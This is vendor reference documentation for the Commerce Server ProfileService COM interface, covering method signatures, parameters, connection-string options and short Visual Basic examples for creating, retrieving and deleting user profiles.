GetProfileByKey | Retrieves a ProfileObject object specified by a key member/value pair from the Profiling System.
GetProfileDefXML | Retrieves the XML description of the specified profile definition.
Initialize | Establishes connection to the specified Profiles store and populates the schema cache.
UnBind | Clears the user credentials for accessing the underlying Profiles store.


IProfileService2::BindAs Method [C++]

ProfileService.BindAs Method [Visual Basic]

Use this method to set the credentials used to access ProfileObject objects in the underlying Profiles store.

Definition

[C++]
HRESULT IProfileService::BindAs (
  BSTR sUserName,
  BSTR sPassword,
);
[Visual Basic]
Sub BindAs (
  sUserName As String,
  sPassword As String
)

Parameters

sUserName [C++]
[in] A BSTR that contains the user name for accessing ProfileObject objects.
sUserName [Visual Basic]
[in] A String that contains the user name for accessing ProfileObject objects.
sPassword [C++]
[in] A BSTR that contains the password for accessing ProfileObject objects.
sPassword [Visual Basic]
[in] A String that contains the password for accessing ProfileObject objects.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] The Errors property stores the collection of errors encountered in the last Profiles resource operation. For more information, see IProfileService::get_Errors.

[Visual Basic] The Errors property stores the collection of errors encountered in the last Profiles resource operation. For more information, see ProfileService.Errors.

Remarks

This method sets the credentials used to access and modify ProfileObject objects in the underlying directory store. Any new ProfileObject objects or modifications will be bound to these credentials. The specified credentials define the security context under which all subsequent ProfileObject object operations will be performed, until the UnBind method is invoked. The credentials specified here will be used as is to bind to the underlying directory stores. It is the responsibility of the client to pass in these credentials in the appropriate format. For example, to bind to Active Directory one could pass in either the

  • Full User Principal Name (UPN) (for example, joeuser@domain.com), or
  • SAM Account Name (for example, Domain\SAMAccountName), or
  • Fully specified distinguished name of the security principal (for example, CN=joeuser, CN=Users, DC=Domain, DC=com).

For Membership Directory, you must specify the fully specified distinguished name of the security principal.

Use the UnBind method to clear the credentials.

Call the Initialize method before you use this ProfileService method.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oProfileService is a Commerce ProfileService object

oProfileService.BindAs "JoeUser@microsoft.com", "MyPassword123"
oProfileService.BindAs "DomainName\JoeUser", "MyPassword123"

See Also

[C++] ProfileService Object

[C++] IProfileService::UnBind

[Visual Basic] ProfileService Object

[Visual Basic] ProfileService.UnBind


IProfileService2::CreateProfile Method [C++]

ProfileService.CreateProfile Method [Visual Basic]

Use this method to create a ProfileObject object.

Definition

[C++]
HRESULT IProfileService::CreateProfile(
  VARIANT sValue,
  BSTR bstrType,
  IProfileObject** ppProfileObject
);
[Visual Basic]
Function CreateProfile(
  sValue As Variant,
  bstrType As String
) As Object

Parameters

sValue [C++]
[in] A VARIANT that contains the primary key value for the new ProfileObject object. The variable types permitted for this variant are VT_BSTR or VT_I4.
sValue[Visual Basic]
[in] A Variant that contains the primary key value for the new ProfileObject object. The variable types permitted for this variant are String or Long.
bstrType [C++]
[in] A BSTR that contains the schema type for the new ProfileObject object.
bstrType [Visual Basic]
[in] A String that contains the schema type for the new ProfileObject object.
ppProfileObject [C++]
[out, retval] The address of a pointer to the IProfileObject interface of the newly created ProfileObject object. The pointer is set to NULL if a ProfileObject object of the specified primary key and schema type already exists in the Profiles store.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns the newly created ProfileObject object. The object is set to Nothing if a ProfileObject object of the specified primary key and schema type already exists in the Profiles store.

Error Values

[C++] The Errors property stores the collection of errors encountered in the last Profiles resource operation. For more information, see IProfileService::get_Errors.

[Visual Basic] The Errors property stores the collection of errors encountered in the last Profiles resource operation. For more information, see ProfileService.Errors.

Remarks

If the CreateProfile method fails on an aggregated profile (one that has multiple data sources), the DeleteProfile method must be called to clean up any entries in the data stores. In this case, the DeleteProfile method will produce an error that should be ignored.

The CreateProfile method verifies that a ProfileObject object with the specified attributes does not already exist in the database.

The Fields property of the returned ProfileObject object provides access to the profile properties.

Use the GetProfile or GetProfileByKey method to retrieve existing ProfileObject instances from the Profiles store.

Call the Initialize method before you use this ProfileService method.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[C++]

The ppProfileObject parameter contains valid data only if the method completes successfully.

[Visual Basic]

Example

' oProfileService is a Commerce ProfileService object
' oProfileObject1 and oProfileObject2 are Commerce ProfileObject objects

oProfileObject1 = oProfileService.CreateProfile _
 ("{73A4C9C1-D68D-11D0-98BF-00A0C90DC8DF}", "Address")

oProfileObject2 = oProfileService.CreateProfile _
 ("Joeuser@microsoft.com", "UserObject")

See Also

[C++] ProfileService Object

[C++] IProfileService::DeleteProfile

[C++] IProfileService::GetProfile

[C++] IProfileService::GetProfileByKey

[C++] IProfileService::Initialize

[C++] ProfileObject Object

[C++] IProfileObject::get_Fields

[Visual Basic] ProfileService Object

[Visual Basic] ProfileService.DeleteProfile

[Visual Basic] ProfileService.GetProfile

[Visual Basic] ProfileService.GetProfileByKey

[Visual Basic] ProfileService.Initialize

[Visual Basic] ProfileObject Object

[Visual Basic] ProfileObject.Fields


IProfileService2::CreateProfileXML Method [C++]

ProfileService.CreateProfileXML Method [Visual Basic]

Use this method to create a ProfileObject object using XML data.

Definition

[C++]
HRESULT IProfileService2::CreateProfileXML(
  VARIANT sValue,
  BSTR bstrProfileType,
  BSTR bstrProfileXML,
  XMLFormatEnum eXMLFormat,
  IProfileObject2** pIProfileObject2
);
[Visual Basic]
Function CreateProfileXML(
  sValue As Variant,
  bstrProfileType As String,
  bstrProfileXML As String,
  eXMLFormat As XMLFormatEnum
) As IProfileObject2

Parameters

sValue [C++]
[in] A VARIANT that contains the primary key value for the new ProfileObject object. The variable types permitted for this variant are VT_BSTR or VT_I4.
sValue[Visual Basic]
[in] A Variant that contains the primary key value for the new ProfileObject object. The variable types permitted for this variant are String or Long.
bstrProfileType [C++]
[in] A BSTR that contains the profile type.
bstrProfileType [Visual Basic]
A String that contains the profile type.
bstrProfileXML [C++]
[in] A BSTR that contains the profile properties in XML.
bstrProfileXML [Visual Basic]
A String that contains the profile properties in XML.
eXMLFormat [C++]
[in] An XMLFormatEnum that contains the XML format. See the Remarks section for allowed values.
eXMLFormat [Visual Basic]
An XMLFormatEnum enumeration that contains the XML format. See the Remarks section for allowed values.
pIProfileObject2 [C++]
[out, retval] The address of a pointer to the IProfileObject interface of the newly created ProfileObject object. The pointer is set to NULL if a ProfileObject object of the specified primary key and schema type already exists in the Profiles store.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns the newly created ProfileObject object. The object is set to Nothing if a ProfileObject object of the specified primary key and schema type already exists in the Profiles store.

Error Values

[C++] The Errors property stores the collection of errors encountered in the last Profiles resource operation. For more information, see IProfileService::get_Errors.

[Visual Basic] The Errors property stores the collection of errors encountered in the last Profiles resource operation. For more information, see ProfileService.Errors.

Remarks

If the CreateProfile method fails on an aggregated profile (one that has multiple data sources), the DeleteProfile method must be called to clean up any entries in the data stores. In this case, the DeleteProfile method will produce an error that should be ignored.

Call the Update method on the returned ProfileObject object to commit the new profile to the data store. The Update method will verify that a ProfileObject object with the specified attributes does not already exist in the database.

The Fields property of the returned ProfileObject object provides access to the profile properties.

Use the GetProfile or GetProfileByKey method to retrieve existing ProfileObject instances from the Profiles store.

Call the Initialize method before you use this ProfileService method.

The following table shows the values in the XMLFormatEnum enumeration, their associated names, and describes their use.

Name | Value | Description
eInvalid | 0 | Reserved for future use.
eAttributeCentric | 1 | Attribute centric XML format.
eElementCentric | 2 | Element centric XML format.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[C++]

The ppProfileObject parameter contains valid data only if the method completes successfully.

[Visual Basic]

Example

' oProfileService is a Commerce ProfileService object
' oProfileObject1 and oProfileObject2 are Commerce ProfileObject objects
' sXMLProfile is a string contining the profile properties

oProfileObject1 = oProfileService.CreateProfileXML _
 ("{73A4C9C1-D68D-11D0-98BF-00A0C90DC8DF}", "Address", sXMLProfile, eAttributeCentric)

oProfileObject2 = oProfileService.CreateProfileXML _
 ("Joeuser@microsoft.com", "UserObject", sXMLProfile, eAttributeCentric)

See Also

[C++] ProfileService Object

[C++] IProfileService::DeleteProfile

[C++] IProfileService::GetProfile

[C++] IProfileService::GetProfileByKey

[C++] IProfileService::Initialize

[C++] ProfileObject Object

[C++] IProfileObject::get_Fields

[Visual Basic] ProfileService Object

[Visual Basic] ProfileService.DeleteProfile

[Visual Basic] ProfileService.GetProfile

[Visual Basic] ProfileService.GetProfileByKey

[Visual Basic] ProfileService.Initialize

[Visual Basic] ProfileObject Object

[Visual Basic] ProfileObject.Fields


IProfileService2::DeleteProfile Method [C++]

ProfileService.DeleteProfile Method [Visual Basic]

Use this method to delete the ProfileObject object specified by a primary key value and schema type. All properties associated with the profile are purged from the system.

Definition

[C++]
HRESULT IProfileService::DeleteProfile(
  VARIANT sValue,
  BSTR bstrType
);
[Visual Basic]
Sub DeleteProfile(
  sValue As Variant,
  strType As String
)

Parameters

sValue[C++]
[in] A VARIANT that contains the primary key value.
sValue[Visual Basic]
[in] A Variant that contains the primary key value.
bstrType [C++]
[in] A BSTR that contains the profile schema type.
strType [Visual Basic]
[in] A String that contains the profile schema type.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] The Errors property stores the collection of errors encountered in the last Profiles resource operation. For more information, see IProfileService::get_Errors.

[Visual Basic] The Errors property stores the collection of errors encountered in the last Profiles resource operation. For more information, see ProfileService.Errors.

Remarks

If the DeleteProfile method is called because of an error in creating a new ProfileObject object, any error message produced should be ignored.

Use the DeleteProfileByKey method to delete a profile specified by a key member/value pair and schema type.

Call the Initialize method before you use this ProfileService method.

Caution

  • Care must be taken when deleting ProfileObject objects due to possible expression dependencies. See the ExpressionStore and ExpressionEval objects for details on expressions.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oProfileService is a Commerce ProfileService object

oProfileService.DeleteProfile("Joeuser@microsoft.com", "UserObject")

See Also

[C++] ProfileService Object

[C++] IProfileService::CreateProfile

[C++] IProfileService::DeleteProfileByKey

[C++] ExpressionEval Object

[C++] ExpressionStore Object

[Visual Basic] ProfileService Object

[Visual Basic] ProfileService.CreateProfile

[Visual Basic] ProfileService.DeleteProfileByKey

[Visual Basic] ExpressionEval Object

[Visual Basic] ExpressionStore Object


IProfileService2::DeleteProfileByKey Method [C++]

ProfileService.DeleteProfileByKey Method [Visual Basic]

Use this method to delete the ProfileObject object specified by a key member name/value pair and schema type. All properties associated with the profile are purged from the system.

Definition

[C++]
HRESULT IProfileService::DeleteProfileByKey(
  BSTR bstrKeyMemberName,
  VARIANT sValue,
  BSTR bstrType
);
[Visual Basic]
Sub DeleteProfileByKey(
  strKeyMemberName As String,
  sValue As Variant,
  strType As String
)

Parameters

bstrKeyMemberName [C++]
[in] A BSTR that contains the key member name.
strKeyMemberName [Visual Basic]
[in] A String that contains the key member name.
sValue[C++]
[in] A VARIANT that contains the key value.
sValue[Visual Basic]
[in] A Variant that contains the key value.
bstrType [C++]
[in] A BSTR that contains the profile schema type.
strType [Visual Basic]
[in] A String that contains the profile schema type.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] The Errors property stores the collection of errors encountered in the last Profiles resource operation. For more information, see IProfileService::get_Errors.

[Visual Basic] The Errors property stores the collection of errors encountered in the last Profiles resource operation. For more information, see ProfileService.Errors.

Remarks

Use the DeleteProfile method to delete a profile by specifying a primary key value and schema type.

Call the Initialize method before you use this ProfileService method.

Caution

  • Care must be taken when deleting ProfileObject objects due to possible expression dependencies. See the ExpressionStore and ExpressionEval objects for details on expressions.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oProfileService is a Commerce ProfileService object

oProfileService.DeleteProfileByKey("user_id",_
 "{74A38551-D6D8-FFD0-12BF-0A20C90DC8D1}" "UserObject")

See Also

[C++] ProfileService Object

[C++] IProfileService::CreateProfile

[C++] IProfileService::DeleteProfile

[C++] ExpressionEval Object

[C++] ExpressionStore Object

[Visual Basic] ProfileService Object

[Visual Basic] ProfileService.CreateProfile

[Visual Basic] ProfileService.DeleteProfile

[Visual Basic] ExpressionEval Object

[Visual Basic] ExpressionStore Object


IProfileService2::GetProfile Method [C++]

ProfileService.GetProfile Method [Visual Basic]

Use this method to retrieve the ProfileObject object corresponding to the specified primary key value and schema type.

Definition

[C++]
HRESULT IProfileService::GetProfile(
  VARIANT sValue,
  BSTR bstrType,
  VARIANT_BOOL bReturnError,
  IProfileObject** ppProfileObject
);
[Visual Basic]
Function GetProfile(
  sValue as Variant,
  bstrType As String
  Optional bReturnError As Boolean
) As Object

Parameters

sValue [C++]
[in] A VARIANT that contains the primary key value.
sValue [Visual Basic]
[in] A Variant that contains the primary key value.
bstrType [C++]
[in] A BSTR that contains the profile schema type.
bstrType [Visual Basic]
[in] A String that contains the profile schema type.
bReturnError [C++]
[in, optional, defaultvalue (-1)] An optional VARIANT_BOOL.
bReturnError [Visual Basic]
[in] An optional Boolean. The default value is True (-1).
ppProfileObject [C++]
[out, retval] The address of a pointer to the IProfileObject interface of the returned ProfileObject object.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a ProfileObject object corresponding to the specified primary key value and schema name.

Error Values

[C++] The Errors property stores the collection of errors encountered in the last Profiles resource operation. For more information, see IProfileService::get_Errors.

[Visual Basic] The Errors property stores the collection of errors encountered in the last Profiles resource operation. For more information, see ProfileService.Errors.

Remarks

If the optional bReturnError parameter is set to True (-1) and the specified ProfileObject object is not found, an error message, E_PS_PROFILE_NOTEXISTS, is returned instead of a ProfileObject object.

If the bReturnError parameter is set to False (0) and the specified ProfileObject object is not found, an empty ProfileObject object is returned without an error message.

Properties with the IsCached attribute set to False are not loaded by this method.

The Fields property of the returned ProfileObject object provides access to the profile properties.

Use the GetProfileByKey method to retrieve a profile by specifying a key member name/value pair and schema type.

Call the Initialize method before you use this ProfileService method.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[C++]

The ppProfileObject parameter contains valid data only if the method completes successfully.

[Visual Basic]

Example

' oProfileService is a Commerce ProfileService object
' oProfileObject is a Commerce ProfileObject object

oProfileObject = oProfileService.GetProfile("Joeuser@microsoft.com", _
 "UserObject")

See Also

[C++] ProfileService Object

[C++] IProfileService::GetProfileByKey

[C++] IProfileService::Initialize

[C++] ProfileObject Object

[C++] IProfileObject::get_Fields

[Visual Basic] ProfileService Object

[Visual Basic] ProfileService.GetProfileByKey

[Visual Basic] ProfileService.Initialize

[Visual Basic] ProfileObject Object

[Visual Basic] ProfileObject.Fields


IProfileService2::GetProfileByKey Method [C++]

ProfileService.GetProfileByKey Method [Visual Basic]

Use this method to retrieve a ProfileObject object that corresponds to a specified key member name/value pair and schema type.

Definition

[C++]
HRESULT IProfileService::GetProfileByKey(
  BSTR bstrKeyMemberName,
  VARIANT sValue,
  BSTR bstrType,
  VARIANT_BOOL bReturnError,
  IProfileObject** ppProfileObject
);
[Visual Basic]
Function GetProfileByKey(
  bstrKeyMemberName As String,
  sValue As Variant,
  bstrType As String
  Optional bReturnError As Boolean
) As Object

Parameters

bstrKeyMemberName [C++]
[in] A BSTR that contains the key member name.
bstrKeyMemberName [Visual Basic]
[in] A String that contains the key member name.
sValue [C++]
[in] A VARIANT that contains the key value.
sValue [Visual Basic]
[in] A Variant that contains the key value.
bstrType [C++]
[in] A BSTR that contains the schema type.
bstrType [Visual Basic]
[in] A String that contains the schema type.
bReturnError [C++]
[in, optional, defaultvalue (-1)] An optional VARIANT_BOOL.
bReturnError [Visual Basic]
[in] An optional Boolean. The default value is True (-1).
ppProfileObject [C++]
[out, retval] The address of a pointer to the IProfileObject interface of the returned ProfileObject object.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a ProfileObject object corresponding to the specified key member/value pair and schema name.

Error Values

[C++] The Errors property stores the collection of errors encountered in the last Profiles resource operation. For more information, see IProfileService::get_Errors.

[Visual Basic] The Errors property stores the collection of errors encountered in the last Profiles resource operation. For more information, see ProfileService.Errors.

Remarks

If the optional bReturnError parameter is set to True (-1) and the specified ProfileObject object is not found, an error message, E_PS_PROFILE_NOTEXISTS, is returned instead of a ProfileObject object.

If the bReturnError parameter is set to False (0) and the specified ProfileObject object is not found, an empty ProfileObject object is returned without an error message.

Properties with the IsCached attribute set to False are not loaded by this method.

The Fields property of the returned ProfileObject object provides access to the profile properties.

Use the GetProfile method to retrieve a profile by specifying a primary key value and schema type.

Call the Initialize method before you use this ProfileService method.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[C++]

The ppProfileObject parameter contains valid data only if the method completes successfully.

[Visual Basic]

Example

' oProfileService is a Commerce ProfileService object
' oProfileObject is a Commerce ProfileObject object

oProfileObject = oProfileService.GetProfileByKey("user_id", _
 "{74A38551-D6D8-FFD0-12BF-0A20C90DC8D1}", "UserObject")

See Also

[C++] ProfileService Object

[C++] IProfileService::GetProfile

[C++] IProfileService::Initialize

[C++] ProfileObject Object

[C++] IProfileObject::get_Fields

[Visual Basic] ProfileService Object

[Visual Basic] ProfileService.GetProfile

[Visual Basic] ProfileService.Initialize

[Visual Basic] ProfileObject Object

[Visual Basic] ProfileObject.Fields


IProfileService2::GetProfileDefXML Method [C++]

ProfileService.GetProfileDefXML Method [Visual Basic]

Use this method to retrieve the XML definition of the named profile schema type.

Definition

[C++]
HRESULT IProfileService::GetProfileDefXML(
  BSTR bstrProfileName,
  VARIANT_BOOL bNamesOnly,
  BSTR* pbstrXML
);
[Visual Basic]
Function GetProfileDefXML(
  bstrProfileName As String
  bNamesOnly As Boolean,
) As String

Parameters

bstrProfileName [C++]
[in] A BSTR that contains the name of the profile schema type.
bstrProfileName [Visual Basic]
[in] A String that contains the name of the profile schema type.
bNamesOnly [C++]
[in] A VARIANT_BOOL that determines whether the method returns the profile schema name or the profile schema definition. A value of FALSE indicates to return the profile definition. A value of TRUE indicates to return only the name of the profile schema.
bNamesOnly [Visual Basic]
[in] A Boolean that determines whether the method returns the profile schema name or the profile schema definition. A value of FALSE indicates to return the profile definition. A value of TRUE indicates to return only the name of the profile schema.
pbstrXML [C++]
[out, retval] A pointer to a BSTR that will contain the XML description.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a String that contains the XML description.

Error Values

[C++] The Errors property stores the collection of errors encountered in the last Profiles resource operation. For more information, see IProfileService::get_Errors.

[Visual Basic] The Errors property stores the collection of errors encountered in the last Profiles resource operation. For more information, see ProfileService.Errors.

Remarks

If the bstrProfileName parameter is empty and the bNamesOnly parameter is False (0), the XML descriptions of all the schema types in the catalog are returned.

If the bstrProfileName parameter is empty and the bNamesOnly parameter is True (-1), the names of all the schema types in the catalog are returned.

For information about the XML definitions, see the Profile XML Structures topic.

Call the Initialize method before you use this ProfileService method.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[C++]

The pbstrXML parameter contains valid data only if the method completes successfully.

[Visual Basic]

Example

' sXML is a String
' oProfileService is a Commerce ProfileService object

sXML = oProfileService.GetProfileDefXML("UserObject", False)

See Also

[C++] ProfileService Object

[C++] Profile XML Structures

[Visual Basic] ProfileService Object

[Visual Basic] Profile XML Structures


IProfileService2::Initialize Method [C++]

ProfileService.Initialize Method [Visual Basic]

Use this method to establish a connection to the Commerce Server Profiles store and populate the schema cache with all the schemas from the specified catalog.

Definition

[C++]
HRESULT IProfileService::Initialize(
  BSTR sConfigStore,
  BSTR sCatalog
);
[Visual Basic]
Sub Initialize(
  sConfigStore As String,
  Optional sCatalog As String
)

Parameters

sConfigStore [C++]
[in] A BSTR that contains the connection string to the Profiles store.
sConfigStore [Visual Basic]
[in] A String that contains the connection string to the Profiles store.
sCatalog [C++]
[in, optional] A BSTR that identifies the catalog. If this is specified it must be "Profile Definitions".
sCatalog [Visual Basic]
[in, optional] A String that identifies the catalog. If this is specified it must be "Profile Definitions".

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] The Errors property stores the collection of errors encountered in the last Profiles resource operation. For more information, see IProfileService::get_Errors.

[Visual Basic] The Errors property stores the collection of errors encountered in the last Profiles resource operation. For more information, see ProfileService.Errors.

Remarks

The Initialize method creates the necessary internal parameters and schema cache for profile management. A ProfileService object must connect to only one Profiles store. Multiple instances of the ProfileService object must be created to access multiple stores.

The connection string for the Profiles store may be obtained through the SiteConfigReadOnly object, or through the Commerce Server Manager console from the s_ProfileServiceConnectionString property under the key "Commerce Server Manager\Global Resources\Profiles(ComputerName SiteName)".

The connection string is comprised of the following mandatory tokens:

  • Data Source and/or Database [mandatory]. This attribute allows applications to specify the name of the underlying SQL Server containing the Profiles database. At least one of these attributes must be specified. If both of these attributes are specified, the value of the Data Source attribute takes precedence.
  • Initial Catalog and/or Server [mandatory]. This attribute allows applications to specify the name of the Profiles database containing profile definitions. At least one of these attributes must be specified. If both of these attributes are specified, the value of the Initial Catalog attribute takes precedence.
  • User ID and/or UID [mandatory]. This attribute allows applications to specify the login name to connect to the Profiles database. At least one of these attributes must be specified. If both of these attributes are specified, the value of the User ID attribute takes precedence.

The following is a sample connection string containing these attributes:

   Data Source=servername;Initial Catalog=dbname;User ID=user

Spaces are not allowed around the delimiting semi-colon, and a semi-colon is not allowed in the names of any of the tokens.

Additionally, the following optional tokens are also supported by the Profiles resource:

  • Provider [optional]. Allows applications to specify the OLE DB provider to which the Profiles resource connects. This parameter exists for consistency with standard ADO connection strings. The default value and only acceptable value for this attribute is CSOLEDB.
  • Password or PWD [optional]. Allows applications to specify the password for the user specified by the User ID or UID attribute. The default value for this attribute is NULL.
  • PsObjectCacheSize [optional]. Allows applications to specify the size of the Profiles resource object cache. This cache stores ProfileObject objects instantiated by the CreateProfile and GetProfile methods. The default value for this attribute is 16384. Setting this value to 0 (zero) does not turn off caching. Instead, this value then reverts to the default value of 1024.
  • PsSchemaCacheSize [optional]. Allows applications to specify the size of the Profile resource definition (schema) cache in entries. The acceptable range of values is from one (1) to 1024. The default is 1024. This is not a hard limit. A warning will be posted to the eventlog if the number of entries exceeds 1024.
  • PsBackgroundThread [optional]. Allows applications to control the creation of a background thread to periodically clean up entries from the Profiles resource object cache. The acceptable values for this parameter are zero (0) or one (1). Zero turns off the background thread, one turns it on. By default, the background thread is on.
  • PsObjectAgeoutPeriod [optional]. Allows applications to specify the age-out period for the Profiles resource cache entries. The age-out period is the amount of time an unreferenced object can remain in the cache without being discarded. The default value for this attribute is five minutes.
  • Integrated Security [optional]. Allows applications to connect to the Profile Service using integrated windows authentication. The value for this token should be SSPI. When this token is specified the values for User ID/UID and Password/PWD tokens are ignored.
  • Site Name [optional]. Allows applications to specify the site name under which the Profile Service counters should be logged. If no value is specified the performance counters are logged under Anonymous.
  • Connection_Retry [optional]. Allows the applications to specify the number of retry attempts if the connection to the Profile definition store is lost due to a communication failure. The default value for this attribute is 10.
  • Connection_Retry_Delay [optional]. Allows the applications to specify the delay in seconds between retry attempts if the connection to the Profile definition store is lost due to a communication failure. The default value for this attribute is 30.
  • PublicKey [optional]. This token allows the applications to specify the public key if any of the profiles defined use asymmetric encryption. The value for the token should be a hexadecimal string representation of the Public Key. The value should not be enclosed in quotes.
  • KeyIndex [optional]. This token is mandatory if the PublicKey is specified. Since Public and Privtate keys come in pairs, this token allows the applications to specify which PrivateKey token value corresponds to the PublicKey token.
  • PrivateKey1 [optional]. This token allows the applications to specify the Private key for decryption. The value for this token should be specified if the current key index is 1 and should correspond to the PublicKey. The value for the token should be a hexadecimal string representation of the Private Key. The value should not be enclosed in quotes.
  • PrivateKey2 [optional]. This token allows the applications to specify the Private key for decryption. The value for this token should be specified if the current key index is 1 and should correspond to the PublicKey. The value for the token should be a hexadecimal string representation of the Private Key. The value should not be enclosed in quotes.

Notes

  • The Initial Catalog in the connection string is the database containing the Profiles store.
  • The sCatalog parameter in the Initialize method is the catalog containing the profile schema definitions, which is "Profile Definitions".

The background thread removes the aged-out objects periodically from the cache. This means that the object may remain in the cache beyond the object age-out period. In this case, the object will be removed from the cache when the background thread processing resumes.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' Connect using an explicit connection string.
' oProfileService is a Commerce ProfileService object

oProfileService.Initialize "Provider=CSOLEDB;Data Source=MyServer;" _
 & "Initial Catalog=Retail_commerce;User ID=user;Password=*****;" _
 & "PsSchemaCacheSize=128;PsObjectAgeoutPeriod=8", "Profile Definitions"

' Connect through the SiteConfigReadOnly object.
' sConn is a String
' oSCRO is an initialized SiteConfigReadOnly object

sConn = oSCRO.Fields("Profiles(ComputerName SiteName").Value _
 .Fields("s_ProfileServiceConnectionString").Value & "SCHCACHE=128"
oProfileService.Initialize sConn, "Profile Definitions"

See Also

[C++] ProfileService Object

[Visual Basic] ProfileService Object


IProfileService2::Unbind Method [C++]

ProfileService.Unbind Method [Visual Basic]

Use this method to clear the credentials that are used to access ProfileObject objects in the underlying Profiles store.

Definition

[C++]
HRESULT IProfileService::Unbind (
);
[Visual Basic]
Sub Unbind (
)

Parameters

None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] The Errors property stores the collection of errors encountered in the last Profiles resource operation. For more information, see IProfileService::get_Errors.

[Visual Basic] The Errors property stores the collection of errors encountered in the last Profiles resource operation. For more information, see ProfileService.Errors.

Remarks

This method clears the credentials used to access ProfileObject objects in the underlying store. Any new profiles or modifications will not be bound to a specific user. Use this method to gain access to existing ProfileObject objects that are not bound to a specific user.

Use the Bind method to set the credentials to access ProfileObject objects that are bound to a specific user.

Call the Initialize method before you use this ProfileService method.

See Also

[C++] ProfileService Object

[C++] IProfileService::BindAs

[Visual Basic] ProfileService Object

[Visual Basic] ProfileService.BindAs


IProfileService2 Properties [C++]

ProfileService Properties [Visual Basic]

Properties

[C++]
Property | Type | Description
Errors | Errors | Stores the collection of errors encountered in the last Profiles resource operation. This property is read-only.
[Visual Basic]
Property | Type | Description
Errors | Object | Stores the collection of errors encountered in the last Profiles resource operation. This property is read-only.


IProfileService2::get_Errors Property [C++]

ProfileService.Errors Property [Visual Basic]

The Errors property is a read-only ADO Errors object that stores the collection of errors encountered in the last Profiles resource operation.

Definition

[C++]
HRESULT IProfileObject::get_Errors(
  Errors** ppErrors
);
[Visual Basic]
Property Errors As Object

Parameters

ppErrors [C++]
[out, retval] The address of a pointer to an Errors object.

[Visual Basic] None.

[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully.

Remarks

The Errors property collects all errors generated by a ProfileService object operation, including those that emerge from the underlying technology.

If the error is coming from the underlying data store providers (such as OLE DB Provider for SQL Server and OLE DB Provider for Microsoft Directory Services) in some cases only the Number and Source properties of the Error object are set.

For information about standard COM errors, see Standard COM Errors.

The following ADO Errors methods and properties are supported:

  • Clear
  • Count
  • Item
  • _NewEnum

The following ADO Error methods and properties are supported:

  • Description
  • HelpFile
  • Number
  • Source

Call the Initialize method before you access the Errors property.

See Also

[C++] ProfileObject Object

[C++] ProfileService Object

[Visual Basic] ProfileObject Object

[Visual Basic] ProfileService Object


Example Code for Profile Objects

This section provides detailed examples of how to use the profile definitions exposed by the Profiles resource. These samples are written in Microsoft Visual Basic, Visual Basic Scripting Edition (VBScript), or Active Server Pages (ASP), and do not show error checking or certain other formalities required for functional code.

Examples

Example | Description
Code to Connect to the Profiles Store | Describes how to connect to the Profiles store.
Code to Enumerate Errors | Describes how to enumerate all errors generated by the last Profiles resource operation.
Code to Set up Bind Credentials to Directory Stores | Describes how to bind profiles to specific users.
Code to Create a New Profile | Describes how to create a new profile.
Code to Retrieve a Profile | Describes how to retrieve a profile.
Code to Modify a Profile | Describes how to modify the data stored in a profile.
Code to Delete a Profile | Describes how to delete a profile.
Code to Retrieve XML Data and Schema | Describes how to retrieve the Extensible Markup Language (XML) representations of profile data and schemas.
Code to Perform Bulk Operations using ADO and SQL | Describes how ActiveX Data Object (ADO) and SQL are used to perform bulk operations on profile data.
Code to Delete Unused Profiles | Describes how to delete a profile that has not been used for some time.
Code to Decrypt a Persistent Cookie after the Key has changed | Describes how to decrypt old cookies when using rolling key encryption.
Code to Use the ProfileService Object or Commerce Server OLEDB Provider to Update Passwords | Describes how to use the ProfileService object and the Commerce Server OLEDB Provider to update passwords.
Code to Retrieve and Set Multi-valued Attributes | Describes how to use the ProfileService object to retrieve and set multi-valued attributes.
Code to Retrieve Extended Error Information from the Commerce Server OLEDB Provider | Describes how to retrieve extended error information from the Commerce Server OLEDB provider connection object in the event of an error.


Code to Connect to the Profiles Store

This section shows how to connect to the Profile Store. A SiteConfigReadOnly object provides access to the connection string. For more information about the connection string, see ProfileService.Initialize.

  1. Create a SiteConfigReadOnly object and initialize it for the "Retail" site.
    Dim oSiteConfigReadOnly
Set oSiteConfigReadOnly = Server.CreateObject _
 ("Commerce.SiteConfigReadOnly")
oSiteConfigReadOnly.Initialize "Retail"
  2. Retrieve the connection string to the Profile Store and release the SiteConfigReadOnly object.
    Dim sBDSConnect
sBDSConnect = oSiteConfigReadOnly.Fields("Biz Data Service") _
 .Value.Fields("s_ProfileServiceConnectionString").Value

Set oSiteConfigReadOnly = Nothing
  3. Create the ProfileService object and connect to the Profile Store. The Profile Definitions parameter is the catalog used for the profile schema definitions.
    Dim oProfileService
Set oProfileService = Server.CreateObject("Commerce.ProfileService")
